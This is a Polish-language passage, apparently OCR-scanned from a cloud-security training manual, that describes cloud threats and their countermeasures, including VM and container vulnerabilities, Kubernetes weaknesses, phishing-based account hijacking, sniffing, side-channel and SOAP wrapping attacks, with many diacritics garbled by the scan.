o Wykorzystaj biatg liste adreséw IP, aby udaremnié nieautoryzowany dostep poprzez kontrolowanie i
ograniczanie dostepu.

o Uzyj zasady najmniejszych uprawnien, aby zastosowa¢ minimalne prawa uzytkownika do uzyskiwania
dostepu do okreslonych zasobéw w oparciu o role.

0 Wiacz solidne zarzadzanie tozsamoscia i dostepem (1AM), aby zarzadza¢ dostepem uzytkownikéw
do zasobéw w chmurze.

Ataki na poziomie maszyny wirtualnej

Przetwarzanie w chmurze intensywnie wykorzystuje technologie wirtualizacji oferowane przez kilku
dostawcow, w tym VMware, Xen, Virtual Box i vSphere. Zagrozenia dla tych technologii wynikajg z luk
w hiperwizorach.



Srodki zaradcze:

o0 Zastosuj systemy wykrywania/zapobiegania wtamaniom (IDS/IPS) i zaimplementuj zapore ogniowa,
aby ztagodzi¢ znane ataki na poziomie maszyny wirtualnej.

o Korzystaj z hiperwizordéw, ktére sg wysoce skonfigurowane i aktualizowane, a takze piaskownic wokoét
hiperwizoréw w celu ochrony przed atakami na poziomie maszyn wirtualnych.

o Wykorzystaj platforme High Assurance Platform (HAP), ktéra oferuje wysoki poziom izolacji maszyn
wirtualnych.

o Upewnij sie, ze zaden wazny uzytkownik maszyny wirtualnej nie wspétdzieli sprzetu z innymi
uzytkownikami.

Lock-In

Lock-in odzwierciedla niezdolnos¢ klienta do migracji z jednego CSP do innego lub systeméw
wewnetrznych z powodu braku narzedzi, procedur, standardowych formatéw danych, aplikacji i
mozliwosci przenoszenia ustug. Zagrozenie to zwigzane jest z niewtasciwym wyborem CSP, niepetnym
i nieprzejrzystym regulaminem, brakiem standardowych mechanizmaow itp.

Srodki zaradcze:

o Korzystne jest korzystanie ze standardowej chmurowej chmury API.

o0 Zastosuj strategie chmury wielochmurowej lub chmury hybrydowej zamiast polegaé¢ na jednym CSP.
o Projektowanie przenosnych i luzno powigzanych aplikacji.

o Wdrozy¢ narzedzia DevOps, aby unikng¢ ryzyka zwigzanego z zastrzezonymi konfiguracjami,

o Ustalenie jasnej strategii wyjscia przed podpisaniem wstepnej umowy.

Ryzyko zwigzane z licencjonowaniem

Organizacja moze ponie$¢ znaczng optate licencyjng, jesli CSP nalicza optaty za oprogramowanie
wdrozone w chmurze na podstawie liczby instancji. W zwigzku z tym organizacja powinna zawsze
zachowaé prawo wiasnosci do zasobdw oprogramowania znajdujgcych sie w srodowisku dostawcy
ustug w chmurze. Zagrozenia zwigzane z licencjonowaniem wynikaja z niekompletnych i
nieprzejrzystych warunkdéw uzytkowania.

Srodki zaradcze:

o Przejrzyj aktualny stan licencjonowania CSP, aby opracowac skuteczne licencjonowanie i okresli¢
ogodlne koszty.

o Korzystaj z jednej scentralizowanej platformy do zarzadzania kosztami, korzystaniem z licencji itp.
o Wyeliminuj zasoby chmury, ktére nie sg uzywane i potgczone.
Utrata zarzadzania

Korzystajgc z infrastruktury chmurowej, klienci przekazujg dostawcom ustug internetowych kontrole
nad kwestiami, ktéore mogg mie¢ wptyw na bezpieczenstwo. Ponadto umowy SLA nie mogg
zobowigzywad CSP do swiadczenia takich ustug, pozostawiajgc w ten sposéb luke w zabezpieczeniach.
Zagrozenie to wynika miedzy innymi z niejasnosci rél i odpowiedzialnosci, braku proceséw oceny
podatnosci, sprzecznych obietnic w umowach SLA, braku systemodw certyfikacji i jurysdykcji,



niedostepnosci audytu. Utrata zarzadzania skutkuje niezgodnoscia z wymogami bezpieczenstwa,
brakiem poufnosci, integralnosci i dostepnosci danych, niskg wydajnos$cig i jakoscig ustug itp.

Srodki zaradcze:

o Trenuj wytrwate i ostrozne wysitki w celu wykonania SLA.

o Egzekwowac surowe zasady zarzgdzania w celu ochrony wrazliwych danych i poprawy wydajnosci,
0 Zachowaj ujednolicong polityke zarzadzania dla operacji lokalnych i w chmurze,

o0 Zastosuj automatyzacje w celu weryfikacji zgodnosci z polityka tadu korporacyjnego.

Utrata kluczy szyfrujacych

Utrata kluczy szyfrujgcych wymaganych do bezpiecznej komunikacji lub dostepu do systeméw daje
potencjalnym atakujgcym mozliwosé zdobycia nieautoryzowanych zasobdw. Zagrozenie to wynika ze
ztych technik zarzadzania i generowania kluczy.

Srodki zaradcze:
o Nie przechowuj kluczy szyfrujgcych razem z zaszyfrowanymi danymi.

o Do generowania kluczy uzywaj silnych algorytméw, takich jak zaawansowany standard szyfrowania
(AES) i Rivest-Shamir-Adleman (RSA).

o Ogranicz dostep do magazyndéw kluczy i wdrazaj zasady, takie jak podziat rél, aby kontrolowac i
zarzadzac dostepem do magazynow kluczy.

o Egzekwowac bezpieczny plan tworzenia kopii zapasowych i odzyskiwania kluczy szyfrujgcych,
o Nie uzywaj ponownie kluczy do innych celéw.

o Uzyj sprzetowego modutu bezpieczeristwa (HSM) do zabezpieczenia kluczy szyfrujgcych.
Ryzyka wynikajgce ze zmian jurysdykcji

Chmury moga przechowywaé dane klientéw w wielu jurysdykcjach, z ktérych niektére moga byé
obarczone wysokim ryzykiem. Wtadze lokalne w krajach wysokiego ryzyka (np. krajach bez rzgdéw
prawa, z nieprzewidywalnymi ramami prawnymi i panistwami egzekucyjnymi lub autokratycznymi
panstwami policyjnymi) moga dokonywac nalotdw na centra danych; dane lub system informacyjny
moga zosta¢ poddane przymusowemu ujawnieniu lub zajeciu. Zmiany jurysdykcji danych moga
prowadzi¢ do zablokowania lub skonfiskowania systemu informatycznego przez rzad lub inne
organizacje. Klienci powinni rozwazy¢ niejasnosci jurysdykcyjne przed przyjeciem chmury, poniewaz
lokalne przepisy dotyczgce przechowywania danych mogg zapewni¢ rzgdowi dostep do prywatnych
danych.

Srodek zaradczy:

o Uzyskaj wglad w jurysdykcje, w ktdrych dane moga by¢ przechowywane i przetwarzane, oraz ocen
zwigzane z tym ryzyko, jesli takie istnieje.

Wykonywanie ztosliwych sond lub skanéw

Ztosliwe sondy lub skanowanie umozliwiajg atakujgcym zbieranie poufnych informacji, ktére mogg
prowadzi¢ do utraty poufnosci i integralnosci oraz dostepnosci ustug i danych.



Srodki zaradcze:

o Wdrdz rézne mechanizmy bezpieczenstwa, takie jak zapory ogniowe i systemy wykrywania wtaman.
o Nie umieszczaj hypervisora i maszyn wirtualnych w tej samej sieci,

o Oddziel zarzadzanie hiperwizorem i ruch zwigzany ze zdalnym dostepem, tworzac sie¢ VLAN.

o Blokuj odpowiedzi ping i traceroute z sieci, w ktdrej dziata hypervisor.

o Odpowiednio skonfiguruj interfejsy zarzagdzania hiperwizora.

Kradziez sprzetu komputerowego

Kradziez sprzetu moze nastgpic¢ z powodu nieodpowiednich kontroli parametréw fizycznych, takich jak
dostep do karty inteligentnej przy wejsciu, co moze prowadzi¢ do utraty sprzetu fizycznego i
wrazliwych danych.

Srodki zaradcze:

o Egzekwowac fizyczne sSrodki bezpieczenstwa, takie jak zatrudnienie ochroniarzy, zasieg telewizji
przemystowej (CCTV), alarmy, dowody tozsamosci i odpowiednie ogrodzenie.

0 Regularnie oceniaj bezpieczeAstwo, aby wprowadza¢ pewne zmiany i utrzymywaé najnowsze
fizyczne $rodki bezpieczenstwa.

o Kontroluj fizyczny dostep dzieki wdrozeniu réznych zaawansowanych technologii, takich jak wpisy
biometryczne.

o Wdrozy¢ systemy sygnalizacji wtamania, aby zapobiega¢ wtamaniom i jak najszybciej powiadomic
zespot ds. bezpieczenistwa.

o Upewnic sie, ze serwerownia jest zawsze zamknieta, a dostep do niej majg tylko upowaznieni
pracownicy.

o Uzywaj serweréw montowanych w stojakach, aby zwiekszy¢ bezpieczenstwo fizyczne,
uniemozliwiajgc przenoszenie.

0 Zabezpiecz urzadzenia i dyski do tworzenia kopii zapasowych w lokalizacji poza siedzibg firmy.
Zakoniczenie lub awaria ustugi w chmurze

Zakonczenie ustugi w chmurze z powodu braku rentownosci lub sporéw moze prowadzi¢ do utraty
danych, chyba Zze uzytkownicy koncowi chronig sie prawnie. Wiele czynnikéw, takich jak presja
konkurencji, brak wsparcia finansowego i nieodpowiednie strategie biznesowe, moze prowadzi¢ do
zakonczenia lub awarii ustugi w chmurze. Zagrozenie to skutkuje stabg dostawg i jakoscig ustug oraz
utratg inwestycji. Ponadto awarie ustug zleconych CSP mogg mie¢ wptyw na jego zdolno$é¢ do
wywigzywania sie z obowigzkéw i zobowigzan wobec klientéw.

Srodki zaradcze:

o Dopilnowa¢, aby dostawcy chmury okreslili jasne i mozliwe do skontrolowania procedury na wypadek
zakonczenia Swiadczenia ustugi. Obejmuje to zagwarantowanie bezpiecznego transferu danych z
powrotem do klienta, zgodnie z warunkami umowy.

o Upewnij sie, ze CSP przeprowadzit proces czyszczenia danych klienta, takich jak pliki dziennika i
audytu, przed zakoniczeniem swiadczenia ustugi.



o Zawrzec¢ rygorystyczne umowy serwisowe z CSP dotyczgce procesu wyjscia z przechowywania i
usuwania danych. Wykorzystaj wspierajgce przepisy prawne dotyczgce powyzszych uméw.

o Upewnij sie, ze CSP ma bezpieczng procedure usuwania danych bez naruszenia danych lub wachania
po zakonczeniu ustugi.

Wezwanie sadowe i e-discovery

Dane i ustugi klienta podlegajg zadaniu zaprzestania ze strony wtadz lub oséb trzecich. Zagrozenie to
wystepuje z powodu niewtasciwej izolacji zasobdw, przechowywania danych w wielu jurysdykcjach
oraz braku wgladu w jurysdykcje.

Srodki zaradcze:
o Starannie wybierz CSP i zapewnij odpowiednie zabezpieczenia.

o Doktadnie przejrzyj umowe serwisowg. Powinien dotyczy¢ zarzagdzania dokumentacjg, dostepnosci,
obstugi klienta, zasad prawnych, odpowiedzialnosci, poufnosci, diugosci umowy, procedur jej
rozwigzania itp.

o0 Wykonaj skoordynowany plan eDiscovery,
0 Rozwaz strategie wyjscia.
Niewtasciwe przetwarzanie i usuwanie danych

Ze wzgledu na ograniczony dostep do infrastruktury chmurowej trudno jest ustali¢ procedury obstugi
i usuwania danych stosowane przez CSP. Gdy klienci zazadajg usuniecia danych, dane mogg nie zostaé
naprawde wyczyszczone, poniewaz

o Przechowywane sg liczne kopie danych, nawet jesli sg one niedostepne,
o Dysk przeznaczony do zniszczenia moze zawierac rowniez dane innych klientéw,

0 Wielodostepnos¢ i ponowne wykorzystanie zasobdw sprzetowych w chmurze stwarza zagrozenie dla
danych klientéw.

Srodki zaradcze:

o Uzywaj sieci VPN do zabezpieczania danych klientédw i upewnij sie, ze dane sg catkowicie usuwane z
serwerdw gtéwnych wraz ze wszystkimi replikami.

o Zaszyfruj dane, aby uczynié je nieczytelnymi, nawet jesli slady sg dostepne po usunieciu.

o Skonfiguruj okres przechowywania danych, aby bezpiecznie przechowywac i usuwac dane ze
wszystkich urzadzen do tworzenia kopii zapasowych po ich przedawnieniu.

0 Zastosuj proces niszczenia danych odpowiadajgcy stosowanemu urzadzeniu i technice usuwania.
o Egzekwuj strategie oczyszczania danych i ustandaryzuj procedure.

o Udokumentuj wszystkie kroki oczyszczania danych, aby opracowaé solidng $ciezke audytu i
zweryfikowac caty proces niszczenia z klientami.

Utrata/modyfikacja danych kopii zapasowej

Atakujgcy mogg wykorzystywaé luki w zabezpieczeniach, takie jak wstrzykiwanie kodu SQL i
niebezpieczne zachowania uzytkownikéw (np. przechowywanie lub ponowne wykorzystywanie haset),



aby uzyskac nielegalny dostep do kopii zapasowych danych w chmurze. Po uzyskaniu dostepu osoby
atakujgce mogg usung¢ lub zmodyfikowac¢ dane przechowywane w bazach danych. Brak procedur
przywracania danych w przypadku utraty danych zapasowych zagraza poziomowi ustug.

Srodki zaradcze:

o Stosowac odpowiednie procedury lub narzedzia przywracania danych w celu odzyskania utraconych
danych.

o Unikaj polegania na jednej metodzie przechowywania lub nosniku do tworzenia kopii zapasowych,
zamiast tego zastosuj model 3-2-1.

Ryzyko zgodnosci

Organizacje, ktére dazg do uzyskania zgodnosci ze standardami i przepisami prawa, mogg byc
zagrozone, jesli CSP nie moze przedstawi¢ dowoddw na zgodnosé z wymaganiami, zleca zarzadzanie
chmurg osobom trzecim i/lub nie zezwala na audyt przeprowadzany przez klienta. Ryzyko braku
zgodnosci wynika z braku nadzoru nad audytami i ocenami standardéw branzowych. W zwigzku z tym
klienci nie sg Swiadomi proceséw, procedur i praktyk dostawcéw dotyczacych dostepnosci, zarzadzania
tozsamoscia i podziatu obowigzkdéw.

Srodki zaradcze:

o Dostawcy ustug w chmurze powinni zapewni¢, ze dane klientéw nie zostang naruszone,
o Przeglad procesdw audytu wewnetrznego dostawcow ustug w chmurze.

Ekonomiczna odmowa zréwnowazonego rozwoju (EDoS)

Metoda ptatnosci w systemie chmurowym to ,,No use, no bill”; gdy klienci wysytaja zgdania, CSP
obcigza ich zgodnie z zarejestrowanymi danymi, czasem trwania zgdan, iloscig przesytanych danych w
sieci oraz liczbg zuzytych cykli procesora. Ekonomiczna odmowa ustugi niszczy zasoby finansowe; w
najgorszym przypadku moze to doprowadzi¢ do bankructwa klienta lub innych powaznych skutkéw
ekonomicznych. Jesli atakujgcy zaangazuje serwer w chmurze ze zto$liwg ustuga lub wykona ztosliwy
kod, ktéry zuzywa duzo mocy obliczeniowe] i pamieci masowej, prawowity wtasciciel konta jest
obcigzany do czasu wykrycia gtdwnej przyczyny uzycia procesora.

Srodek zaradczy:

o Korzystaj z reaktywnej/na zgdanie ustugi tagodzenia skutkéw atakow EDoS w chmurze (ustuga
skrubera) w celu tagodzenia atakéw DDoS w warstwie aplikacji i sieci, korzystajgc z podejscia
clientpuzzle.

Brak architektury bezpieczenstwa

Wiekszos$¢ firm przenosi swoje mozliwosci IT do chmury publicznej, wiec wdrozenie odpowiednich
strategii bezpieczenstwa w celu udaremnienia cyberzagrozen jest duzym wyzwaniem. Wazne jest, aby
przed migracjg infrastruktury IT do chmury opracowa¢ odpowiednie architektury i strategie
bezpieczenstwa.

Srodki zaradcze:
o Upewnij sie, ze Twoja architektura bezpieczenstwa jest zgodna z celami biznesowymi,

o Regularnie aktualizuj model zagrozen.



o Przeprowadzi¢ okresowg ocene bezpieczerstwa rzeczywistego stanu bezpieczenstwa.
Przejecie kont

Bardzo krytycznym zagrozeniem dla organizacji jest wtamanie sie do kont pracownikow w chmurze.
Jesli osoba atakujgca uzyska dostep do chmury poprzez wtamanie sie na konto uzytkownika, moze
uzyskaé dostep do wszystkich informacji przechowywanych na serwerach w chmurze bez
pozostawiania $ladéw. Atakujgcy wykorzystujg techniki, takie jak phishing i famanie haset, aby uzyskac
dane uwierzytelniajgce uzytkownika. Ataki te powaznie wptywajg na dziatalno$¢ biznesows,
powodujac utrate reputacji, degradacje wartosci marki, ujawnienie poufnych informacji itp.

Srodki zaradcze:
o Przyznawaj tylko minimalne uprawnienia dostepu do kont uzytkownikdéw.

o Wdrazaj strategie dogtebnej obrony i instaluj rozwigzania do zarzadzania tozsamoscia i dostepem
(1AM).

o Szyfruj i przechowuj poufne informacje na serwerach w chmurze.

o Wdrozy¢ silne mechanizmy uwierzytelniania, takie jak uwierzytelnianie wielosktadnikowe,

o Usun poswiadczenia i konta uzytkownikow, ktére nie sg juz potrzebne,

o Wykrywac i wycofywadé niepotrzebny dostep do bardzo wrazliwych informacji,

o Kontroluj dostep do zasobdw chmury przez strony trzecie.

o Zaimplementuj tokenizacje w chmurze, aby zapewni¢ dostep tylko autoryzowanym uzytkownikom.

o Upewnij sie, ze menedzer haset jest uzywany do tworzenia i zarzgdzania hastami dla wszystkich kont
uzytkownikéw.

Luki w zabezpieczeniach konteneréw

Kontener odgrywa wiekszg role w przetwarzaniu w chmurze, oferujgc wydajnos¢ operacyjna,
produktywnos¢ i spojnosé. Przyjecie réznych ustug w chmurze zwiekszyto zagrozenia i ataki na
kontenery w chmurze. Kontenery ponosza szersze konsekwencje w przypadku udanego ataku. Atak
mozna szybko powtdrzyé, co prowadzi do nadmiernej liczby ofiar padajacych ofiarg atakujacych.
Ponizsza tabela przedstawia najczestsze luki w zabezpieczeniach konteneréw.

Luka : Opis

1. Impetowe kreowanie wizerunku : Nieostrozne tworzenie obrazéw bez uwzglednienia
bezpieczenstwa, zabezpieczen Ilub aspektéw kontrolnych prowadzi do powstania luk w
zabezpieczeniach obrazow.

2. Niewiarygodne zasoby 0sdb trzecich : Korzystanie z niezaufanych zasobdw stron trzecich powoduje
powazne zagrozenie i sprawia, ze zasoby sg podatne na ztosliwe ataki.

Uzyskanie dostepu do kont uzytkownikéw prowadzi do eskalacji uprawnien

3. Nieautoryzowany dostep: Niewtasciwa obstuga opcji konfiguracji i montazu wrazliwych katalogéw
na hoscie powodujg btedy i niepewnos$¢ konfiguracji uruchomieniowej.



4. Niezabezpieczone konfiguracje sSrodowiska uruchomieniowego kontenera : Niewtasciwa obstuga
opcji konfiguracyjnych i montowanie wrazliwych katalogédw na hoscie powoduje btedne i
niezabezpieczone konfiguracje srodowiska uruchomieniowego.

5. Ekspozycja danych w plikach Docker : Obrazy platformy Docker ujawniajgce poufne informacje, takie
jak hasta i klucze szyfrowania SSH, mogg zosta¢ wykorzystane do naruszenia bezpieczerstwa
kontenera.

6. Wbudowane ztosliwe oprogramowanie : Po utworzeniu obraz kontenera moze zosta¢ osadzony w
ztodliwym oprogramowaniu, a zakodowane na state funkcje mogg pobrac ztosliwe oprogramowanie po
wdrozeniu obrazu

7. Nieaktualizowane obrazy zagrazajg bezpieczenstwu obrazéw. : Nieaktualne obrazy zawierajg luki w
zabezpieczeniach i btedy, ktdre zagrazajg bezpieczenstwu obrazéow.

8. Przejete repozytorium i zainfekowane zasoby: Btedna konfiguracja zabezpieczen i btedy umozliwiajg
uzyskanie nieautoryzowanego dostepu do repozytorium, co moze zatru¢ zasoby poprzez zmiane lub
usuniecie plikow.

9. Rejestr przejetych obrazéw: Zle zarzadzane konfiguracje i luki w zabezpieczeniach moga zostaé
wykorzystane do naruszenia bezpieczenstwa rejestru i koncentratoréw obrazéw.

10. Udostepnione ustugi dzieki otwartym portom : Btedna konfiguracja aplikacji moze umozliwic¢
dostep do portu i ujawnienie poufnych informacji podczas skanowania portow.

11. Wykorzystywane aplikacje: Aplikacje podatne na ataki mogg by¢ wykorzystywane przy uzyciu
réznych technik (np. SQLi, XXS, RFI

12. Mieszanie poziomdw wrazliwosci obcigzenia: Orkiestratorzy umieszczajg obcigzenia o réznych
poziomach wrazliwosci na tym samym hoscie. Jesli w kontenerze znajduje sie publiczny serwer WWW
z lukami w zabezpieczeniach, moze to stanowic zagrozenie dla konteneréw przetwarzajacych poufne
informacje

Luki w Kubernetesie

Wdrozenie Kubernetes ufatwito liderom IT tgczenie srodowisk lokalnych i chmur publicznych.
Kubernetes umozliwia naktadanie warstw i skalowanie aplikacji w kontenerach w chmurze,
zapewniajgc bardziej przenosng i produktywng infrastrukture. Rozszerzone wykorzystanie Kubernetes
utatwia krytyczne ataki cybernetyczne ukierunkowane na podstawowe luki w zabezpieczeniach.
Ponizsza tabela podsumowuje typowe luki w srodowisku Kubernetes.

Luki : Opis

1. Brak uniewaznienia certyfikatu : Kubernetes nie obstuguje uniewazniania certyfikatéw; w zwigzku z
tym caty tancuch certyfikatéw musi zosta¢ ponownie wygenerowany, aby usungc certyfikat. ;Atakujgcy
moga wykorzystaé certyfikat, zanim zostanie on zastgpiony przez caty klaster.

2. Nieuwierzytelnione potgczenia HTTPS : Chociaz Kubernetes korzysta z infrastruktury klucza
publicznego (PKI), potgczenia miedzy komponentami nie sg uwierzytelniane prawidtowo przy uzyciu
zabezpieczen warstwy transportowej (TLS). ; Atakujgcy mogg uzyskac nieautoryzowany dostep do
zarzadzanych przez kubelet Pods i pobieraj poufne informacje.

3. Odstoniete tokeny okaziciela w dziennikach : Kubernetes wymaga mechanizmu uwierzytelniania do
wymuszania uprawnienia uzytkownika; np. tokeny okaziciela sg rejestrowane w hyperkube dzienniki



systemowe kube-apiserver.; Atakujgcy majgcy dostep do dziennikow systemowych moga wykorzystac
okaziciela tokeny w celu podszywania sie pod wczesniej zalogowanego uprawnionego uzytkownika.

4. Narazenie wrazliwych danych poprzez zmienne S$rodowiskowe : Podczas konfigurowania
komponentéw zmienne srodowiskowe zezwoli¢ na wyprowadzenie ustawien.; Atakujgcy mogg uzyskaé
dostep do przechowywanych wartosci za posrednictwem srodowiska logowaniae i dalsze
wykorzystywanie punktéw koricowych.

5. Sekrety w spoczynku nie sg domyslnie szyfrowane : Sekrety zdefiniowane przez uzytkownikéw, takie
jak poswiadczenia lub aplikacja dane konfiguracyjne, domysinie nie sg szyfrowane. ; Atakujgcy mogg
odzyskac niezaszyfrowane tajemnice, uzyskujac do nich dostep serwery itp.

6. Pordwnanie haset o niestatym czasie : Kube-apiserver ma wiele zapleczy uwierzytelniajacych dla
klienta przetwarzanie zgdan; dlatego nie wykonuje zabezpieczenia poréwnanie tajnych wartosci przy
uzyciu hasta podstawowego uwierzytelnianie. ; Atakujacy mogg przeprowadzac ataki czasowe w celu
odzyskania haset.

7. Zakodowane na state Sciezki poswiadczen : Zamiast zakodowac na state Sciezki poswiadczen w
kodzie zrédtowym, sg one okreslane podczas konfiguracji za posrednictwem interfejsu. ; Jesli
przechowywany jest token klastra i gtdwny urzad certyfikacji (CA) w réznych lokalizacjach atakujacy
moga wstawié ztosliwy token i gtéwny urzad certyfikacji, aby uzyskac dostep do catego klastra.

8. Rotacja dziennikdow nie jest atomowa : Kubelet, gtdwny agent wezta, uzywa dziennikéw do
przechowywania metadane dotyczace kontenera. Podczas rotacji dziennika, jesli plik kubelet zostanie
uruchomiony ponownie, wszystkie logi mogg zosta¢ usuniete.; Atakujacy monitorujg rotacje logéw i
podejmujg préby usuwania wszystkich dziennikdw.

9. Brak procesu wycofywania dla planowania : Pod Kubernetes to jednostka wykonawcza, ktéra
wymaga zapatu koordynacje planowania i nie ma procesu wycofywania.; Powoduje to napietg petle,
poniewaz program planujacy stale planuje strgkéw, ktdre sg odrzucane przez inne procesy.

10. Nie Zaprzeczanie : Kube-apiserver wykonuje wszystkie transakcje uzytkownika, takie jak tworzenie,
modyfikowanie i usuwanie za pomocg jego programoéw obstugi bez uzycia pliku a centralna stuzba
audytu.; Jesli tryb debugowania jest wytgczony, polecenie kube-apiserver nie rejestruje uzytkownika
dziatania. ; Atakujacy moga bezposrednio wchodzi¢ w interakcje z kube-apiserver i wykonywac
dziatania ,rézne ztosliwe dziatania.

Ataki w chmurze

W tej sekcji omawiamy rézne metody atakéw przeprowadzanych na srodowisko przetwarzania w
chmurze.

Przejecie ustugi za pomoca inzynierii spotecznej

W przypadku przejecia konta lub ustugi osoba atakujgca kradnie dane uwierzytelniajgce dostawcy CSP
lub klienta poprzez phishing, pharming, socjotechnike i wykorzystanie luk w oprogramowaniu.
Wykorzystujgc skradzione dane uwierzytelniajace, atakujacy uzyskuje dostep do ustug przetwarzania
w chmurze i narusza poufnos¢, integralnosc i dostepnosé danych. Inzynieria spoteczna to nietechniczny
rodzaj wtamania, ktéry w duzej mierze opiera sie na interakcji miedzyludzkiej i czesto polega na
nakfanianiu innych do ztamania rutynowych procedur bezpieczeristwa. Atakujgcy mogg atakowac
dostawcow CSP w celu zresetowania haset lub pracownikéw IT w celu uzyskania dostepu do ich ustug
w chmurze w celu ujawnienia haset. Inne sposoby uzyskiwania haset obejmujg zgadywanie haset,
ztodliwe oprogramowanie rejestrujgce nacisniecia klawiszy, wdrazanie technik tamania haset i



wysytanie e-maili phishingowych. Ataki socjotechniczne skutkujg ujawnieniem danych klientéw i kart
kredytowych, danych osobowych, biznesplanéw, danych personelu, kradziezg tozsamosci itp.
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Jak pokazano na rysunku, osoba atakujgca najpierw tworzy fatszywg strone logowania do ustugi w
chmurze i wysyta ztosliwe tacze do uzytkownika ustugi w chmurze. Uzytkownik po otrzymaniu linku
klika w niego i wprowadza swoje dane logowania, nie zauwazajgac, ze jest to fatszywa strona logowania.
Gdy uzytkownik nacisnie klawisz Enter, osoba atakujaca otrzymuje dane logowania uzytkownika, a
strona automatycznie przekierowuje go na pierwotng strone logowania do ustugi w chmurze. Teraz
atakujacy uzywa skradzionych poswiadczen uzytkownika do logowania sie do ustugi w chmurze i
wykonywania ztosliwych dziatan.

Srodki zaradcze:
Nie udostepniaj poswiadczen konta uzytkownikom i ustugom.

W miare mozliwosci wdrazaj solidny mechanizm uwierzytelniania dwusktadnikowego lub
wielosktadnikowego.

Przeszkol personel w zakresie rozpoznawania atakéw socjotechnicznych.
Scisle przestrzegaj okre$lonych zasad bezpieczeAstwa.

Zaszyfruj dane przed przestaniem ich przez Internet.

Uzyj zasady ,,najmniejszych uprawnien”, aby ograniczy¢ dostep do ustug.

Podziel obowigzki miedzy administratoréw CSP i swoich administratoréw; ogranicza to swobodny
dostep do wszystkich warstw bezpieczenistwa dla innych.

Przejecie ustugi za pomoca Network Sniffing

Sniffing sieciowy polega na przechwytywaniu i monitorowaniu ruchu sieciowego miedzy dwoma
weztami w chmurze. Niezaszyfrowane wrazliwe dane (np. dane logowania) podczas transmisji przez
sie¢ sg bardzo zagrozone. Atakujgcy uzywajg snifferéw pakietéw (np. Wireshark) do przechwytywania
poufnych danych, takich jak hasta i sesyjne pliki cookie oraz inne dane konfiguracyjne bezpieczeristwa
zwigzane z ustugami internetowymi, takie jak uniwersalne wykrywanie opisu i integralnosé¢ (UDDI),
prosty protokot dostepu do obiektow (SOAP) i pliki jezyka opisu ustug internetowych (WSDL).
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Jak pokazano na rysunku, gdy uzytkownik wprowadza dane logowania w celu uzyskania dostepu do
ustug w chmurze, osoba atakujgca moze podstuchiwaé dane uwierzytelniajgce/pliki cookie podczas ich
transmisji przez sie¢ za pomocg snifferow pakietéw, takich jak Wireshark i Capsa Portable Network
Analyzer. Nastepnie osoba atakujgca loguje sie do ustug w chmurze za pomoca skradzionych danych
uwierzytelniajacych.

Srodki zaradcze:

Szyfruj poufne dane w sieci.

Szyfruj wrazliwe dane w plikach konfiguracyjnych.

Wykrywaj kontrolery interfejsu sieciowego (NIC) dziatajgce w trybie rozwigztym.

Upewnij sie, ze ruch sieciowy zawierajgcy poswiadczenia jest szyfrowany przy uzyciu protokotu
SSL/TLS.

Ataki kanatami bocznymi lub naruszenia miedzy maszynami wirtualnymi goscia

Atakujacy moga zagrozi¢ chmurze, umieszczajac ztosliwg maszyne wirtualng w poblizu docelowego
serwera w chmurze, a nastepnie przeprowadzajac atak typu side-channel. Ponizszy rysunek pokazuje,
w jaki sposdéb osoba atakujgca moze naruszy¢ bezpieczeristwo chmury, umieszczajgc ztosliwg maszyne
wirtualng w poblizu docelowego serwera w chmurze. Atakujgcy uruchamia maszyne wirtualng na tym
samym fizycznym hoscie co docelowa maszyna wirtualna i wykorzystuje udostepnione zasoby fizyczne
(pamieé¢ podreczna procesora). Nastepnie przeprowadza ataki typu side-channel (atak czasowy,
remanencja danych, kryptoanaliza akustyczna, atak z monitorowaniem mocy i analiza btedéw
réznicowych) w celu wydobycia kluczy kryptograficznych/sekretow zwyktego tekstu w celu kradziezy
danych uwierzytelniajacych ofiary. Ataki typu side-channel mogg by¢ realizowane przez kazdego
wspotrezydenta i sg zwigzane gtéwnie z lukami we wspétdzielonych zasobach technologicznych. Na
koniec atakujgcy wykorzystuje skradzione dane uwierzytelniajgce do podszywania sie pod ofiare.

Srodki zaradcze w przypadku ataku bocznego kanatu

Zaimplementowac wirtualng zapore ogniowa w zapleczu serwera w chmurze przetwarzania w
chmurze; uniemozliwia to osobie atakujgcej umieszczanie ztosliwych maszyn wirtualnych.

Zaimplementuj losowe szyfrowanie i deszyfrowanie (szyfruje dane przy uzyciu algorytmdéw RSA, 3DES,
AES).

Zablokuj obrazy systemu operacyjnego i instancje aplikacji, aby zapobiec naruszeniu wektorow, ktére
mogga zapewni¢ dostep. Sprawdzaj powtarzajgce sie proby dostepu do pamieci lokalnej i proceséw
hipernadzorcy lub wspoétdzielonej pamieci podrecznej sprzetu, dostrajajgc i gromadzac dane i dzienniki
monitorowania lokalnych proceséw dla systemdw w chmurze.



Zakoduj aplikacje i komponenty systemu operacyjnego, aby uzyskiwaty dostep do wspoétdzielonych
zasoboéw, takich jak pamieé podreczna, w spdjny i przewidywalny sposéb. Ten styl kodowania
uniemozliwia atakujgcym zbieranie poufnych informac;ji, takich jak statystyki czasu i inne atrybuty
behawioralne.

Zawijajgcy Atak

Podczas ttumaczenia komunikatu SOAP w warstwie TLS przeprowadzany jest atak zawijania, w ktérym
atakujgcy powielajg tres¢ komunikatu i wysytajg go na serwer jako petnoprawny uzytkownik. Jak
pokazano na ponizszym rysunku, gdy uzytkownicy wysytajg zadanie ze swojej maszyny wirtualnej za
posrednictwem przegladarki, zagdanie najpierw dociera do serwera WWW. Nastepnie generowany jest
komunikat SOAP zawierajgcy informacje strukturalne i wymieniany z przegladarka podczas
przekazywania komunikatu. Zanim nastgpi przekazanie wiadomosci, przegladarka musi podpisac
dokument XML i dokona¢ jego kanonizacji. Dodatkowo powinien dotgczy¢ wartosci podpisu do
dokumentu. Wreszcie nagtdwek SOAP powinien zawiera¢ niezbedne informacje o miejscu docelowym
po obliczeniu. W ataku opakowujgcym oszustwo przeciwnika ma miejsce podczas ttumaczenia
komunikatu SOAP w TLS. Atakujacy duplikuje tres¢ wiadomosci i wysyta jg na serwer jako legalny
uzytkownik. Serwer sprawdza uwierzytelnienie za pomocg wartosci podpisu (ktdra jest réwniez
zduplikowana) i weryfikuje jego integralnos¢. W rezultacie przeciwnik moze wtargng¢ do chmury i
uruchomié szkodliwy kod, aby zaktéci¢ normalne funkcjonowanie serweréw w chmurze.

Srodki zaradcze:

Uzyj sprawdzania poprawnosci schematu XML do wykrywania komunikatéw SOAP.
Zastosuj uwierzytelnione szyfrowanie w specyfikacji szyfrowania XML.

Popraw interfejs miedzy weryfikacjg podpisu a funkcjami logiki biznesowej.

Upewnij sie, ze uzytkownicy okreslajg tres¢ protokotu SOAP i nagtéwki do podpisania, implementujac
plik

Zasady WS-SecurityPolicy ,,SignedParts”.

